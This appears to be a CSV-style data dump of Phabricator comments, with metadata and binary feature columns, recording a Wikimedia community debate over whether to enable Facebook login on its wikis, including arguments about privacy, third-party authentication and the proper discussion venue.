+Indeed, if you post on a mailing list or a local village pump and //have a specific, well-defined, non-controversial issue//, you hopefully get told to file a task in Maniphest. If there are more complex (technical or social) aspects to sort out first, a Maniphest task might welcome a related mailing list discussion or even an RfC. I'm sure you're well aware of this and understand which venues provide which purposes.",,,1473432904,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+725692,Enable Facebook login on Wikimedia wikis,">>! In T61631#2622886, @Aklapper wrote:
+>>>! In T61631#2620377, @MZMcBride wrote:
+>> Sure, you or hashar or anyone else are free to start a discussion on a mailing list if you think that would be helpful/beneficial.
+> 
+> @MZMcBride: //You// seem to be interested in keeping this task opened. So you are in a way better position to faciliate discussion and provide your arguments to a broader audience. The ball is in your court.
+
+You know if you post on a local wiki village pump, you get told to file a task in Phabricator Maniphest. If you post to a mailing list, you get told to file a task in Phabricator Maniphest. If you file a task in Phabricator Maniphest, you get told to post to a mailing list? Stop giving people the run-around, it's very rude.
+
+Phabricator Maniphest has a subscription feature for anyone interested in following this task to receive e-mail updates. If you think broader discussion is warranted/needed, you can post about this idea wherever you'd like. It is absolutely not my responsibility to adhere to your arbitrary demands for wider participation.",,,1473429311,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+725687,Enable Facebook login on Wikimedia wikis,">>! In T61631#2622238, @Bawolff wrote:
+> There are 3 ways of interpreting this bug:
+> * Request to enable facebook login on WMF wikis
+> ** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus"". Phabricator isn't the place to come to agreement about controversial issues in our community. Its the place to request stuff once agreement has been reached in other channels.
+
+Phabricator Maniphest is a fine place to discuss the technical implementation and any potential blockers/impediments. As I said previously, there may be valid reasons to decline this task, but so far the reasoning has been almost exclusively ""I don't like/trust Facebook"" and that seems wrong to me.
+
+More recently the argument has gotten even more bizarre and people like @hashar won't even discuss the merits of this task. Instead, he just keeps shouting ""wrong venue!"" and trying to stifle discussion here. That's pretty shady behavior.
+
+If nothing else, it would be nice to expand the task description with a list of pros and cons regarding this proposal for future readers.
+
+Regarding this proposal being contentious, what evidence do you have to support this claim? You have a Facebook account. I have a Facebook account. Andre has a Facebook account. Thousands of Wikipedia users have Facebook accounts (cf. <https://en.wikipedia.org/w/index.php?title=Special:Search&profile=advanced&profile=advanced&fulltext=Search&search=""facebook+profile""&ns2=1>).",,,1473428955,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+725651,Enable Facebook login on Wikimedia wikis,">>! In T61631#2620377, @MZMcBride wrote:
+> Sure, you or hashar or anyone else are free to start a discussion on a mailing list if you think that would be helpful/beneficial.
+
+@MZMcBride: //You// seem to be interested in keeping this task opened. So you are in a way better position to faciliate discussion and provide your arguments to a broader audience. The ball is in your court.",,,1473425021,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1
+725468,Enable Facebook login on Wikimedia wikis,"Lets take a step back here.
+
+There are 3 ways of interpreting this bug:
+* Request to enable facebook login on WMF wikis
+** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus"". Phabricator isn't the place to come to agreement about controversial issues in our community. Its the place to request stuff once agreement has been reached in other channels.
+* Request to add facebook login into MediaWiki core
+** This is an inappropriate feature for MediaWiki core, as MW is used in many contexts, and not everyone would want this. For that I would decline this bug as me simply saying no, it should be an extension instead.
+* Request to develop an extension to do this
+** There was one at https://www.mediawiki.org/wiki/Extension:Facebook  but its kind of unmaintained. If that's what people want out of this bug, the bug should be retitled.
+
+[ I don't think this bug should remain open at lowest priority. Lowest priority implies it would be possible to make a patch that would be accepted, just that nobody cares enough to do it. I don't think that describes this bug]
+",,,1473397600,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1
+725466,Enable Facebook login on Wikimedia wikis,"Lets take a step back here.
+
+There are 3 ways of interpreting this bug:
+* Request to enable facebook login on WMF wikis
+** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus""
+* Request to add facebook login into MediaWiki core
+** This is an inappropriate feature for MediaWiki core, as MW is used in many contexts, and not everyone would want this. For that I would decline this bug as me simply saying no, it should be an extension instead.
+* Request to develop an extension to do this
+** There was one at https://www.mediawiki.org/wiki/Extension:Facebook  but its kind of unmaintained. If that's what people want out of this bug, the bug should be retitled.
+
+[ I don't think this bug should remain open at lowest priority. Lowest priority implies it would be possible to make a patch that would be accepted, just that nobody cares enough to do it. I don't think that describes this bug]
+",,,1473397422,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1
+725367,Enable Facebook login on Wikimedia wikis,"I respectfully note that allowing using my_email_address@example.com
+to login too (which although makes perfect sense) does not bring us
+anywhere closer to allowing the user to click on his friendly
+familiar ""f"" logo, which is what I want. P.S., I don't subscribe to
+those mailing lists.",,,1473381935,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,62,True,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0
+725139,Enable Facebook login on Wikimedia wikis,Stop it and bring it to the wiki lists please. Thank you.,,,1473361818,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+725121,Enable Facebook login on Wikimedia wikis,">>! In T61631#2619975, @Nemo_bis wrote:
+> By RfC I assume you mean https://meta.wikimedia.org/wiki/RfC ? This is not a technical issue, but a ""political"" one.
+
+Nah, I meant <https://www.mediawiki.org/wiki/Requests_for_comment> or #archcom-rfc. Here's an example task that's being used as a drafting space for an RFC (instead of using the wiki): T119043.
+
+>>! In T61631#2619903, @Aklapper wrote:
+> There are 20 people subscribed to this task. Given the topic feels RfC'ish and welcomes more input, wikitech-l@ sounds like an appropriate venue (with way more subscribed people) to bring this up.
+
+Sure, you or hashar or anyone else are free to start a discussion on a mailing list if you think that would be helpful/beneficial.",,,1473360808,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+725057,Enable Facebook login on Wikimedia wikis,"By RfC I assume you mean https://meta.wikimedia.org/wiki/RfC ? This is not a technical issue, but a ""political"" one.",,,1473357477,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0
+725040,Enable Facebook login on Wikimedia wikis,"There are 20 people subscribed to this task. Given the topic feels RfC'ish and welcomes more input, wikitech-l@ sounds like an appropriate venue (with way more subscribed people) to bring this up.",,,1473357162,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+724967,Enable Facebook login on Wikimedia wikis,"My guess is that we if implement {T30085}, this bug will become mostly moot. We'll end up with users authenticating using the same e-mail address and password on Wikipedia that they use on Facebook and with Gmail.",,,1473352024,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+724963,Enable Facebook login on Wikimedia wikis,">>! In T61631#1463207, @Bawolff wrote:
+> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.
+
+Facebook allegedly has over a billion users. It collects and stores an enormous amount of personal and private information about its users. Are you seriously suggesting that theoretical access to Wikipedia accounts would give Facebook ""a lot of power""? This argument is insane.",,,1473351901,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1
+724950,Enable Facebook login on Wikimedia wikis,">>! In T61631#2618407, @hashar wrote:
+> @MZMcBride please keep this task closed.  If you really want to bring it up again please raise the subject on the mailling lists such as wikimedia-l or wikitech-l.
+
+Can you explain how Phabricator is an inappropriate forum? We regularly use Phabricator to draft requests for comment and to discuss feature requests and bug reports. Why are you insisting on closing this task?",,,1473350806,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+724702,Enable Facebook login on Wikimedia wikis,@MZMcBride please keep this task closed.  If you really want to bring it up again please raise the subject on the mailling lists such as wikimedia-l or wikitech-l.,,,1473322708,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+724613,Enable Facebook login on Wikimedia wikis,">>! In T61631#2054992, @hashar wrote:
+> As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.
+
+This argument is incoherent to me. MediaWiki wikis already ""leak the actions"" that a user is doing on a site. That's the whole point of having public logs and revision histories. If a user wants to give his or her information to Facebook or Google and then re-use that login, how is that a privacy concern? When you say ""leak the information people are using Wikipedia"", what does that mean specifically and why would it matter here?
+
+> Adding support for different third parties authentication systems would lead to a few interesting problems:
+> 
+> * why limit to Google / Facebook?  Where do you draw a line
+
+Over a billion users?
+
+> * what happens when a third party disappear or is broken/unavailable
+
+It depends on what type of authentication system we set up.
+
+> * who is going to handle and maintained the related MediaWiki code
+
+How is this an interesting problem? Maintenance cost is attached to every line of code and feature ever.
+
+> I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l.  If this task get reopen I will just ask for technical means to enforce it being closed.
+
+If you want to start a discussion on a mailing list, feel free. If you don't want to be subscribed to this task, you can unsubscribe yourself.
+
+Before touching the status of this task again, you should read and respond to the many valid points raised here. Your replies at T61631#2057649 and T61631#2054992 do not do that.",,,1473302618,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+616731,Enable Facebook login on Wikimedia wikis,"@Peachey88 
+> Don't be a dick much?
+
+Yeah that looks like a great argument. Here is mine:
+
+The MediaWiki Kabal SAYS NO
+=====
+
+Does that look like a stronger argument?
+
+
+I am really just teasing you @Peachey88. Please keep this task closed. As I instructed, bring the subject to a mailing list for further discussion which is a much better way to argue for/against a feature proposal",,,1456266930,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,33,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+616213,Enable Facebook login on Wikimedia wikis,"Please [[ https://www.mediawiki.org/wiki/Bug_management/Phabricator_etiquette | keep Phabricator a respectful place and stick to the Etiquette]].
+
+@Peachey88: Could you bring up this topic on mailing lists for broader input, as proposed by Hashar?",,,1456230410,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,33,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,1,0,1,0,0,1,0,1
+616220,Enable Facebook login on Wikimedia wikis,">>! In T61631#2054992, @hashar wrote:
+> As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.
+
+That would be there choice to do that
+
+> Adding support for different third parties authentication systems would lead to a few interesting problems:
+> 
+> * why limit to Google / Facebook?  Where do you draw a line
+
+> * what happens when a third party disappear or is broken/unavailable
+Then they are gone or unavailable. 
+
+> * who is going to handle and maintained the related MediaWiki code
+
+The same as every other code, Assuming we would focus on OAuth related projects.
+
+
+> I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l. 
+
+It has been opened since Jul 2015 (~7 months) and only declined twice previous to yours just then.
+
+> If this task get reopen I will just ask for technical means to enforce it being closed.
+
+Don't be a dick much?",,,1456230769,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,33,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+616201,Enable Facebook login on Wikimedia wikis,">>! In T61631#2054992, @hashar wrote:
+> As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.
+
+That would be there choice to do that
+
+> Adding support for different third parties authentication systems would lead to a few interesting problems:
+> 
+> * why limit to Google / Facebook?  Where do you draw a line
+
+> * what happens when a third party disappear or is broken/unavailable
+Then they are gone or unavailable. 
+
+> * who is going to handle and maintained the related MediaWiki code
+
+The same as every other code, Assuming we would focus on OAuth related projects.
+
+
+> I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l. 
+
+It has been reopened since Jul 2015 (~7 months) and only declined twice previous to yours just then.
+
+> If this task get reopen I will just ask for technical means to enforce it being closed.
+
+Don't be a dick much?",,,1456229542,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,33,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+616189,Enable Facebook login on Wikimedia wikis,"As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.
+
+Adding support for different third parties authentication systems would lead to a few interesting problems:
+
+* why limit to Google / Facebook?  Where do you draw a line
+* what happens when a third party disappear or is broken/unavailable
+* who is going to handle and maintained the related MediaWiki code
+
+I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l.  If this task get reopen I will just ask for technical means to enforce it being closed.
+
+Thank you",,,1456228897,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,33,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+498104,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465448, @Petrb wrote:
+> Because being logged in is better than being anon?
+
+Not necessarily.
+
+> 
+> You don't disclose your IP address and you get your edits attributed to your account
+
+I have yet to see scientific research demonstrating a large-scale harm of IP addresses exposure (if you find one, please please add to https://www.mediawiki.org/wiki/Requests_for_comment/Exposure_of_user_IP_addresses , I'm very interested); on the other hand, we know for sure that Facebook uses all sorts of private data for all sorts of evil things and they'd certainly welcome being sent precious profiling information on wiki interests of their users without even having to look for it.
+
+I'd avoid the privacy arguments in this discussion, let's stick to the technical arguments which we have solid information about, like T61631#1465053. Is there an external authentication system/platform which guarantees perpetual respect of our commitment to free software?",,,1438074320,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,3,True,1,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+498101,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465448, @Petrb wrote:
+> Because being logged in is better than being anon?
+
+Not necessarily.
+
+> 
+> You don't disclose your IP address and you get your edits attributed to your account
+
+I have yet to see scientific research demonstrating a large-scale harm of IP addresses exposure (if you find one, please please add to https://www.mediawiki.org/wiki/Requests_for_comment/Exposure_of_user_IP_addresses , I'm very interested); on the other hand, we know for sure that Facebook uses all sorts of private data for all sorts of evil things and they'd certainly welcome being sent information on wiki interests of their users without even having to look for it.
+
+I'd avoid the privacy arguments in this discussion, let's stick to the technical arguments which we have solid information about, like T61631#1465053. Is there an external authentication system/platform which guarantees perpetual respect of our commitment to free software?",,,1438073971,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,3,True,1,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+497525,Enable Facebook login on Wikimedia wikis,"If Facebook, Google, etc, offer third-party login it's because it helps their business. How exactly I don't know (I searched, URLs welcome). A very small group of big corps are fighting for this marketshare, so I guess there are good business reasons behind that.
+
+If Wikimedia offers these third-party logins, we will endorse these companies and we will contribute to their business. I'd rather keep our distance and neutrality.",,,1438014316,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,3,True,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+493924,Enable Facebook login on Wikimedia wikis,"Because being logged in is better than being anon?
+
+You don't disclose your IP address and you get your edits attributed to your account, people know who you are and can talk to you on your own talk page?
+
+It's just that people hate to invent silly password and shit around that.",,,1437411470,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0
+493922,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465105, @Petrb wrote:
+> BTW I talked to some folks in my office, some of them use wikipedia occasionally and they all liked the idea. Pretty much everyone hate websites that require you to register with username and password. Having external login providers would make this extremely more simple, because as MZMcBride said, nearly everyone has facebook with few exceptions. So why bother people with yet another login?
+> 
+
+Ancedotally, that is interesting. Although i wonder why such users would want to login in the first place instead of being an anon.
+",,,1437410971,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,1,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+493892,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465161, @Petrb wrote:
+> Then these accounts can be converted to SUL accounts if needed.
+
+And how do peple log in. Either such users have an alternate means of authenticating themselves, in which case what's the point in the first place, or there is no way to access the converted accounts.",,,1437406009,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1
+493876,Enable Facebook login on Wikimedia wikis,Then these accounts can be converted to SUL accounts if needed.,,,1437403369,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+493868,Enable Facebook login on Wikimedia wikis,"So your argument is, we should trust facebook because they are a big company and big companies don't do evil things because they are big?
+
+I think you misrepresent nemo's argument. A key point was that if users depend on facebook login, we cant simply turn it off because those users wont be able to login without it as they are using that to authenticate",,,1437402316,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
